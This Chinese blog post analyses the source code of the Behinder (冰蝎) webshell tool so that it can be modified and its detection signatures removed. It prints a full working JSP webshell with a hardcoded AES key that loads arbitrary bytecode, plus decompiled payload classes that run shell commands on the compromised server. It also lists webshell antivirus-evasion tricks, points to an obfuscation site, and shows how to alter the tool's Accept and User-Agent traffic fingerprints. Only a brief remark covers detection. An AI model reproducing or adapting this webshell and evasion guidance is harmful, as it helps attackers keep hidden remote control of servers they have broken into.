Behinder 冰蝎源码阅读与去特征浅析

2024-11-11 17 0

在攻防中,behinder被大范围使用,其加密性和隐蔽性均得到认可,但是同样也被各大杀毒厂商标记,本文从behinder的webshell到原理进行一个简单的解析,便于二开(如有错误,恳请指正)

一 冰蝎WebShell

Jsp

冰蝎通过继承classloader,并且重定义defineClass来实现加载任意字节码的目的,下面调用了字节码实例化的对象中的equals方法(之后会看到)

这里的默认密钥是rebeyond md5的前16位(已经成为被标记重点)

Behinder 冰蝎源码阅读与去特征浅析插图

PHP

方式类似,最终执行了eval

Behinder 冰蝎源码阅读与去特征浅析插图1

抓一段流量看一下

Behinder 冰蝎源码阅读与去特征浅析插图2

Behinder 冰蝎源码阅读与去特征浅析插图3

webshell免杀的思路

1添加各种加解密,如rot13,凯撒密码,AES

2 增加垃圾字,混淆

3 寻找小众函数

推荐一个混淆网站

https://enphp.djunny.com/

二 behinder代码分析

doConnect

整体使用JavaFx进行图形化的实现

通过定位关键字的方式,可以找到这个位置

Behinder 冰蝎源码阅读与去特征浅析插图4

打开了MainWindow.fxml,找到对应的MainWindowCrontroller

Behinder 冰蝎源码阅读与去特征浅析插图5

打开窗口时会自动调用initControls方法,上面是对一些标签的定义,看这个doConnect

Behinder 冰蝎源码阅读与去特征浅析插图6

调用到这里,生成了一个随机字符串,然后进入了echo方法发起连接和获取结果

Behinder 冰蝎源码阅读与去特征浅析插图7

这里有两个主要的工作

getData()

doRequestAndParse()

将生成的随机字符串放到一个map中,进入getData()

Behinder 冰蝎源码阅读与去特征浅析插图8

getData调用到utils里的getData,继续跟入这个Params.getParamedClass

Behinder 冰蝎源码阅读与去特征浅析插图9

这里又有两个方法

Behinder 冰蝎源码阅读与去特征浅析插图10

首先是getTransProtocoleaClass,通过javassist创建了一个payload对象,并且返回了对应字节码

相关注释已经写到图片中,可以看到获取的是net.rebeyond.behinder.payload.java.Echo

Behinder 冰蝎源码阅读与去特征浅析插图11

getParamedClass方法看不太懂,先略过

回到getData()中,下面调用了Encrty对Echo这个字节码进行了加密

Behinder 冰蝎源码阅读与去特征浅析插图12

基本getData的流程就走完了,获取了Echo这个类字节码,进行了一些方法的操作,最后加密字节码

然后看看doRequestAndParse(),这个跟下去可以看到就是通过OkHttp库发送了post请求

Behinder 冰蝎源码阅读与去特征浅析插图13

Behinder 冰蝎源码阅读与去特征浅析插图14

之后shellservice获得响应并且解密,拿到里面的msg

Behinder 冰蝎源码阅读与去特征浅析插图15

Behinder 冰蝎源码阅读与去特征浅析插图16

最后返回doConnect,将msg和content进行比较,如果正确继续进行后续操作

Behinder 冰蝎源码阅读与去特征浅析插图17

当然为了更好理解冰蝎的逻辑,我们可以改写webshell,拿到被控端具体的equals方法都做了什么

https://cloud.tencent.com/developer/article/2362139

这里可以直接用大佬的

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@ page import="java.io.FileOutputStream" %>
<%!
    class U extends ClassLoader{
        U(ClassLoader c){
            super(c);
        }
        public Class g(byte []b)
        {
            return super.defineClass(b,0,b.length);
        }
    }
%>
<%
    if (request.getMethod().equals("POST")){
        String k="e45e329feb5d925b";
        session.putValue("u",k);
        Cipher c=Cipher.getInstance("AES");
        c.init(2,new SecretKeySpec(k.getBytes(),"AES"));

        String line = request.getReader().readLine();
        byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(line);
        byte[] b1 = c.doFinal(b);
        FileOutputStream fo = new FileOutputStream("D:\\TestData\\1.class");
        fo.write(b1);
        U u = new U(this.getClass().getClassLoader());
        Class clazz = u.g(b1);
        clazz.newInstance().equals(pageContext);

    }
%>

复制一份过来生成的class看看

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.uixmp;

import java.lang.reflect.Method;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class Fekxz {
    public static String content;
    public static String payloadBody;
    private Object Request;
    private Object Response;
    private Object Session;

    public Fekxz() {
        content = "";
        content = content + "O9CVU0Y3H1zpF69hQTar4vlhWLPJjwR23EzmqeUPTZJMts9FHbXQScssGEXuzk8Mmd2hxJuvZpMfP4nkrkrmhXnt2zTEyAur9OZGJL1gth5GfrEMtllQBmYFouoXECv94vfLFhPI7yhpvDXB9QfBaGJtpoMbn2uxAxTkPyByyIE0atXwdxFaJlhAMj7V4VAurE39Y13l26wzQf8VkEQN0gpOUpUV0y9qlqZn6Zop7e0IcqULhlfw2X9hci9xrFjeHcZU8zdlcMJfSE085iWpyBkg1ksUuYvdkViYUtSSnQzrUPI3GNt4QFeQI9Ui57Mgln";
        super();
    }

    public boolean equals(Object obj) {
        LinkedHashMap result = new LinkedHashMap();
        boolean var13 = false;

        Object so;
        Method write;
        Exception var15;
        label95: {
            try {
                var13 = true;
                this.fillContext(obj);
                result.put("status", "success");
                result.put("msg", content);
                var13 = false;
                break label95;
            } catch (Exception var19) {
                var15 = var19;
                result.put("msg", var15.getMessage());
                result.put("status", "success");
                var13 = false;
            } finally {
                if (var13) {
                    try {
                        so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                        write = so.getClass().getMethod("write", byte[].class);
                        write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
                        so.getClass().getMethod("flush").invoke(so);
                        so.getClass().getMethod("close").invoke(so);
                    } catch (Exception var17) {
                        Exception var14 = var17;
                        var14.printStackTrace();
                    }
                }

            }

            try {
                so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                write = so.getClass().getMethod("write", byte[].class);
                write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
                so.getClass().getMethod("flush").invoke(so);
                so.getClass().getMethod("close").invoke(so);
            } catch (Exception var16) {
                var15 = var16;
                var15.printStackTrace();
            }

            return true;
        }

        try {
            so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
            write = so.getClass().getMethod("write", byte[].class);
            write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
            so.getClass().getMethod("flush").invoke(so);
            so.getClass().getMethod("close").invoke(so);
        } catch (Exception var18) {
            var15 = var18;
            var15.printStackTrace();
        }

        return true;
    }

    private String buildJson(Map entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty("java.version");
        sb.append("{");
        Iterator var5 = entity.keySet().iterator();

        while(var5.hasNext()) {
            String key = (String)var5.next();
            sb.append("\"" + key + "\":\"");
            String value = (String)entity.get(key);
            if (encode) {
                value = this.base64encode(value.getBytes());
            }

            sb.append(value);
            sb.append("\",");
        }

        if (sb.toString().endsWith(",")) {
            sb.setLength(sb.length() - 1);
        }

        sb.append("}");
        return sb.toString();
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
            this.Session = obj.getClass().getMethod("getSession").invoke(obj);
        } else {
            Map objMap = (Map)obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }

        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
    }

    private String base64encode(byte[] data) throws Exception {
        String result = "";
        String version = System.getProperty("java.version");

        Class Base64;
        try {
            this.getClass();
            Base64 = Class.forName("java.util.Base64");
            Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
            result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
        } catch (Throwable var7) {
            this.getClass();
            Base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = Base64.newInstance();
            result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
            result = result.replace("\n", "").replace("\r", "");
        }

        return result;
    }

    private byte[] getMagic() throws Exception {
        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
        Random random = new Random();
        byte[] buf = new byte[magicNum];

        for(int i = 0; i < buf.length; ++i) {
            buf[i] = (byte)random.nextInt(256);
        }

        return buf;
    }

    private byte[] Encrypt(byte[] var1) throws Exception {
        String var2 = "e45e329feb5d925b";
        byte[] var3 = var2.getBytes("utf-8");
        SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
        Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
        var5.init(1, var4);
        byte[] var6 = var5.doFinal(var1);

        Class var7;
        try {
            var7 = Class.forName("java.util.Base64");
            Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
            var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
        } catch (Throwable var12) {
            var7 = Class.forName("sun.misc.BASE64Encoder");
            Object var10 = var7.newInstance();
            String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
            var11 = var11.replace("\n", "").replace("\r", "");
            var6 = var11.getBytes();
        }

        return var6;
    }
}

Ai帮忙写的

  • public boolean equals(Object obj):重写Object类的equals方法,用于比较对象。这个方法使用反射和异常处理来填充上下文,并构建一个JSON响应。它还尝试加密JSON响应并写入响应流。
  • private String buildJson(Map entity, boolean encode):构建一个JSON字符串,根据encode参数决定是否对值进行Base64编码。
  • private void fillContext(Object obj):根据传入的对象类型(可能是PageContext或Map),填充Request、Response和Session对象。
  • private String base64encode(byte[] data):使用Java 8的java.util.Base64或Java 7及以下的sun.misc.BASE64Encoder对数据进行Base64编码。
  • private byte[] getMagic():生成一个随机的“魔术”字节数组,可能用于加密操作。
  • private byte[] Encrypt(byte[] var1):使用AES加密算法对数据进行加密,并可能将其转换为Base64编码的字符串。

具体就是生成一个msg是content的响应,加密返回

连接流程:

1 生成随机字符串

2 使用javassist生成Echo类字节码

3 加密后发送到shell端

4 shell端进行解密,通过classload加载类并且实例化,调用equals

5 返回响应信息

6 对比返回的msg和content是否一致,一致则表明连接成功

Cmd

只看doConnect部分还是有些不是特别清晰,还可以看一些Cmd这块的流程

找到对应CmdViewController

Behinder 冰蝎源码阅读与去特征浅析插图18

继续往下走还是走到ShellService,但是这次加载字节码的类变成了net.rebeyond.behinder.payload.java.Cmd

Behinder 冰蝎源码阅读与去特征浅析插图19

这次的加载的字节码文件

package com.rdisn.ilud.mgaaue;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.nio.charset.Charset;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class Pqwje {
    public static String cmd;
    public static String path;
    public static String whatever;
    private static String status = "success";
    private Object Request;
    private Object Response;
    private Object Session;

    public Pqwje() {
        cmd = "";
        cmd = cmd + "cd /d \"E:\\java\\apache-tomcat-9.0.91-windows-x64\\apache-tomcat-9.0.91\\bin\\\"&dir";
        path = "";
        path = path + "E:/java/apache-tomcat-9.0.91-windows-x64/apache-tomcat-9.0.91/bin/";
        super();
    }

    public boolean equals(Object obj) {
        HashMap result = new HashMap();
        boolean var13 = false;

        Object so;
        Method write;
        label95: {
            try {
                var13 = true;
                this.fillContext(obj);
                result.put("msg", this.RunCMD(cmd));
                result.put("status", status);
                var13 = false;
                break label95;
            } catch (Exception var19) {
                Exception var17 = var19;
                result.put("msg", var17.getMessage());
                result.put("status", "fail");
                var13 = false;
            } finally {
                if (var13) {
                    try {
                        so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                        write = so.getClass().getMethod("write", byte[].class);
                        write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
                        so.getClass().getMethod("flush").invoke(so);
                        so.getClass().getMethod("close").invoke(so);
                    } catch (Exception var17) {
                    }
                }

            }

            try {
                so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                write = so.getClass().getMethod("write", byte[].class);
                write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
                so.getClass().getMethod("flush").invoke(so);
                so.getClass().getMethod("close").invoke(so);
            } catch (Exception var16) {
            }

            return true;
        }

        try {
            so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
            write = so.getClass().getMethod("write", byte[].class);
            write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
            so.getClass().getMethod("flush").invoke(so);
            so.getClass().getMethod("close").invoke(so);
        } catch (Exception var18) {
        }

        return true;
    }

    private String RunCMD(String cmd) throws Exception {
        Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
        String result = "";
        if (cmd != null && cmd.length() > 0) {
            Process p;
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
                p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
            } else {
                p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
            }

            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset));

            String disr;
            for(disr = br.readLine(); disr != null; disr = br.readLine()) {
                result = result + disr + "\n";
            }

            br = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset));

            for(disr = br.readLine(); disr != null; disr = br.readLine()) {
                result = result + disr + "\n";
            }
        }

        return result;
    }

    private String base64encode(byte[] data) throws Exception {
        String result = "";
        String version = System.getProperty("java.version");

        Class Base64;
        try {
            this.getClass();
            Base64 = Class.forName("java.util.Base64");
            Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
            result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
        } catch (Throwable var7) {
            this.getClass();
            Base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = Base64.newInstance();
            result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
            result = result.replace("\n", "").replace("\r", "");
        }

        return result;
    }

    private String buildJson(Map entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty("java.version");
        sb.append("{");
        Iterator var5 = entity.keySet().iterator();

        while(var5.hasNext()) {
            String key = (String)var5.next();
            sb.append("\"" + key + "\":\"");
            String value = ((String)entity.get(key)).toString();
            if (encode) {
                Class Base64;
                Object Encoder;
                if (version.compareTo("1.9") >= 0) {
                    this.getClass();
                    Base64 = Class.forName("java.util.Base64");
                    Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
                    value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                } else {
                    this.getClass();
                    Base64 = Class.forName("sun.misc.BASE64Encoder");
                    Encoder = Base64.newInstance();
                    value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                    value = value.replace("\n", "").replace("\r", "");
                }
            }

            sb.append(value);
            sb.append("\",");
        }

        if (sb.toString().endsWith(",")) {
            sb.setLength(sb.length() - 1);
        }

        sb.append("}");
        return sb.toString();
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
            this.Session = obj.getClass().getMethod("getSession").invoke(obj);
        } else {
            Map objMap = (Map)obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }

        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
    }

    private byte[] getMagic() throws Exception {
        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
        Random random = new Random();
        byte[] buf = new byte[magicNum];

        for(int i = 0; i < buf.length; ++i) {
            buf[i] = (byte)random.nextInt(256);
        }

        return buf;
    }

    private byte[] Encrypt(byte[] var1) throws Exception {
        String var2 = "e45e329feb5d925b";
        byte[] var3 = var2.getBytes("utf-8");
        SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
        Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
        var5.init(1, var4);
        byte[] var6 = var5.doFinal(var1);

        Class var7;
        try {
            var7 = Class.forName("java.util.Base64");
            Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
            var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
        } catch (Throwable var12) {
            var7 = Class.forName("sun.misc.BASE64Encoder");
            Object var10 = var7.newInstance();
            String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
            var11 = var11.replace("\n", "").replace("\r", "");
            var6 = var11.getBytes();
        }

        return var6;
    }
}

msg 解码

Behinder 冰蝎源码阅读与去特征浅析插图20

命令执行流程

1 生成随机字符串

2 使用javassist生成Cmd类字节码

3 加密后发送到shell端

4 被控端进行解密,通过classload加载类并且实例化,调用equals

5 被控端将执行结果base64,放到msg中

6 拿到响应信息,解码输出

之后可以对整体的加密,和解密流程多套几层,但是花的时间较长,就先不搞了

三 去特征

Accept+userAgents

accept

这个特征还是比较明显的

application/json, text/javascript, */*; q=0.01

Behinder 冰蝎源码阅读与去特征浅析插图21

找到对应修改即可

Behinder 冰蝎源码阅读与去特征浅析插图22

还有就是内置的十余种Agent字段,均可自定义修改

流量长度+默认密钥

在做命令执行时,冰蝎的长度基本在10000以上,可以这种长度较长的流量进行默认密钥的AES128 ECB解密

Behinder 冰蝎源码阅读与去特征浅析插图23

参考文章:

https://cloud.tencent.com/developer/article/2362139

https://blog.csdn.net/2301_80064376/article/details/140279178


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

办事处网络安全监控与事件响应;国外员工终端安全性怎么保障 | FB甲方群话题讨论
拿不下总统之位,那就用热加载拿下验证码识别与爆破好了!
Sooty:一款SoC分析一体化与自动化CLI工具
shiro CVE-2016-6802 路径绕过(越权)
Apache Solr 身份验证绕过漏洞(CVE-2024-45216)详解
llama_index的CVE-2024-4181漏洞根因分析

发布评论